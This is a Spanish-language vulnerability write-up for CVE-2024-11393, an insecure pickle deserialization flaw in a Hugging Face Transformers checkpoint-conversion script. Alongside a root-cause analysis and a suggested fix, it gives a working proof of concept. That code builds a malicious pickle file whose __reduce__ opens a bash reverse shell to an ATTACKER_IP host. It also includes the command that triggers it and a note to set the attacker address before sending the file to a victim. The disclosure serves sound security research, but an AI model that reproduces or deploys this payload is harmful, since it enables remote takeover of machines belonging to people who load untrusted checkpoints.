
Detalles técnicos y exploit para CVE-2024-11393
Resumen general y efectos de la vulnerabilidad:
La vulnerabilidad permite a un atacante ejecutar código arbitrario en la máquina anfitriona al suministrar un archivo de checkpoint maskformer resnet malicioso al script convert_maskformer_swin_to_pytorch.py del repositorio Hugging Face Transformers.
Si un usuario desprevenido utiliza un archivo de checkpoint maskformer resnet de terceros, la ejecución del script convert_maskformer_swin_to_pytorch.py provocará la ejecución remota de código (RCE) en el sistema de la víctima.
El Producto Vulnerable
Análisis de la Causa Raíz
Descripción detallada de la vulnerabilidad: La vulnerabilidad es el resultado de una deserialización insegura de datos no confiables. El script utiliza pickle.load para cargar el archivo de checkpoint y es vulnerable a la ejecución de código.
Flujo de código desde la entrada hasta la condición vulnerable:
maskformer de terceros.convert_maskformer_swin_to_pytorch.py y le pasa el archivo de checkpoint.convert_maskformer_swin_to_pytorch.py deserializa el archivo de checkpoint y ejecuta el código malicioso.Punto de inyección: La vulnerabilidad ocurre en el punto donde se llama a pickle.load.
Enlace permanente de GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
Correcciones sugeridas: Reemplace pickle.load con yaml.safe_load(yaml_file) o json.load para evitar la ejecución de código arbitrario.
Instrucciones para ejecutar la prueba de concepto:
malicious.pkl que cree una shell inversa en el sistema de la víctima:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Malicious pickle file created successfully.")
Nota: Cambie ATTACKER_IP y ATTACKER_PORT antes de enviar el archivo a la víctima.
convert_maskformer_swin_to_pytorch.py y pase el archivo malicious.pkl a --checkpoint_path:> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
Nota:
pytorch_dump_folder_pathpuede configurarse como cualquier directorio, ymodel_namepuede ser cualquier modelo.
Enlace de descarga del software:
https://github.com/huggingface/transformers/tree/main